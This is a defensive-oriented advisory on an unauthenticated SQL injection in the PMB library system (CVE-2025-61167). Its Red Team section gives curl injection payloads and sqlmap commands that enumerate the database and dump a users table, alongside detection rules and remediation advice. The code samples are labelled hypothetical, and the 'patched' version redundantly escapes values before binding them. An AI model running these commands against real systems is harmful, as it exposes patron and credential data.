CVE-2025-61167

Executive Summary

CVE-2025-61167 is a critical SQL injection vulnerability discovered in the PMB (SIGB) library management system version 8.0.1.14. The flaw resides in the /opac_css/ajax_selector.php component, specifically within the id and datas parameters. An unauthenticated attacker can inject arbitrary SQL commands, leading to unauthorized data access, modification, or potential full database compromise. As of this report, no official patch has been released, and the vulnerability is publicly known with a CVSS score of 0.0 (likely unassigned or placeholder). The EPSS score is 0.0%, indicating low exploitation probability at this time, but the risk remains high due to the nature of SQL injection.

Supply Chain & Package Security

This vulnerability affects the PMB (SIGB) application, which is a PHP-based library management system. It is not an NPM, PyPI, Go, or Ruby package. However, organizations using PMB should treat this as a critical supply chain risk, as the application may be deployed in sensitive library environments with access to patron data, book inventories, and administrative credentials.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned value. Based on the vulnerability description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full database read access possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Could lead to denial of service via database corruption.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 9.8 (Critical)

Threat Level: Critical. The lack of authentication and the presence of multiple injection points make this a high-priority vulnerability for any organization using PMB.

Deep Dive & Mechanics

The vulnerability exists in the ajax_selector.php script, which is part of the OPAC (Online Public Access Catalog) CSS module. This script likely handles AJAX requests for dynamic content selection, such as dropdown menus or search filters. The id and datas parameters are directly concatenated into SQL queries without proper sanitization or parameterization.

Root Cause:

• The application fails to use prepared statements or parameterized queries.
• Input validation is absent or insufficient.
• The id and datas parameters are passed directly to SQL execution functions (e.g., mysqli_query or PDO::query).

Attack Vector: An attacker can craft a malicious HTTP request to the vulnerable endpoint:

GET /opac_css/ajax_selector.php?id=1 UNION SELECT ... -- -&datas=...

or

POST /opac_css/ajax_selector.php
Content-Type: application/x-www-form-urlencoded
id=1' OR '1'='1&datas=...

Impact:

• Full database enumeration (tables, columns, data).
• Extraction of sensitive information (user credentials, patron data, book records).
• Potential for remote code execution if the database user has file write privileges (e.g., INTO OUTFILE).
• Data integrity loss and potential denial of service.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on secure coding practices.

Vulnerable Code (PHP):

<?php
$id = $_GET['id'];
$datas = $_GET['datas'];
$query = "SELECT * FROM items WHERE id = $id AND datas = '$datas'";
$result = mysqli_query($conn, $query);
?>

Patched Code (PHP):

<?php
$id = intval($_GET['id']); // Ensure integer
$datas = mysqli_real_escape_string($conn, $_GET['datas']);
$query = "SELECT * FROM items WHERE id = ? AND datas = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "is", $id, $datas);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
?>

Key Differences:

• Use of intval() to force integer type for id.
• Use of mysqli_real_escape_string() for string escaping (though parameterized queries are preferred).
• Use of prepared statements with bound parameters to prevent SQL injection entirely.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy PMB v8.0.1.14 in a Docker container or local environment.
2. Ensure the /opac_css/ajax_selector.php endpoint is accessible.
3. Use a tool like Burp Suite, SQLMap, or manual curl commands.

Exploitation Steps:

1. Manual Injection:

   curl -G "http://target/opac_css/ajax_selector.php" --data-urlencode "id=1 UNION SELECT 1,2,3,4,5-- -" --data-urlencode "datas=test"
   

2. Automated with SQLMap:

   sqlmap -u "http://target/opac_css/ajax_selector.php?id=1&datas=test" --batch --dbs
   

3. Extract Database:

   sqlmap -u "http://target/opac_css/ajax_selector.php?id=1&datas=test" --batch -D pmb_db --tables
   

4. Dump Users Table:

   sqlmap -u "http://target/opac_css/ajax_selector.php?id=1&datas=test" --batch -D pmb_db -T users --dump
   

Expected Output:

• Database names, table structures, and sensitive data.

Blue Team (Defensive)

Detection:

• Monitor for SQL injection patterns in web logs (e.g., UNION, SELECT, OR 1=1).
• Use WAF rules to block suspicious parameters.
• Implement input validation and prepared statements.

Hunting:

• Search for requests to /opac_css/ajax_selector.php with unusual parameters.
• Look for error messages containing SQL syntax errors in application logs.

Containment:

• Immediately isolate the vulnerable server.
• Apply virtual patching via WAF (e.g., ModSecurity rule to block id and datas parameters containing SQL keywords).
• If possible, disable the vulnerable endpoint until a patch is available.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /opac_css/ajax_selector.php with parameters containing SQL keywords (UNION, SELECT, OR, AND, --, #).
• Unusual response sizes or error messages containing SQL syntax.
• Outbound database connections from the web server to unexpected IPs.

File IOCs:

• Modified PHP files in the PMB installation directory.
• Presence of web shells or backdoors in the web root.

Log IOCs:

• Web server logs showing repeated requests to the vulnerable endpoint.
• Database logs showing unexpected queries or errors.

Detection Engineering

YARA Rule

rule CVE_2025_61167_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-61167 in PMB"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-61167"
    strings:
        $sqli1 = /id=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli2 = /datas=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli3 = /ajax_selector\.php.*(id|datas)=.*\b(OR|AND)\b/i
    condition:
        any of ($sqli*)
}

Sigma Rule

title: CVE-2025-61167 SQL Injection Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against PMB ajax_selector.php
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'id='
            - 'datas='
        cs-uri-query|re: '(?i)(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)'
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in search queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-61167 SQL Injection Attempt"; flow:to_server,established; content:"/opac_css/ajax_selector.php"; http_uri; pcre:"/(id|datas)=.*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/iU"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if possible (e.g., rename or remove ajax_selector.php).
2. Apply virtual patching using a WAF (e.g., ModSecurity rule to block SQL injection patterns in id and datas parameters).
3. Restrict network access to the PMB application to trusted IPs only.

Long-term Fix:

1. Upgrade to a patched version once released by the vendor.
2. Implement secure coding practices:
   • Use prepared statements with parameterized queries.
   • Validate and sanitize all user inputs.
   • Apply the principle of least privilege to database users.
3. Conduct a security audit of the entire PMB codebase for similar vulnerabilities.

Workaround:

• If patching is not possible, consider migrating to an alternative library management system that is actively maintained and secure.

Report generated by Valters IT DevSecOps & CTI Division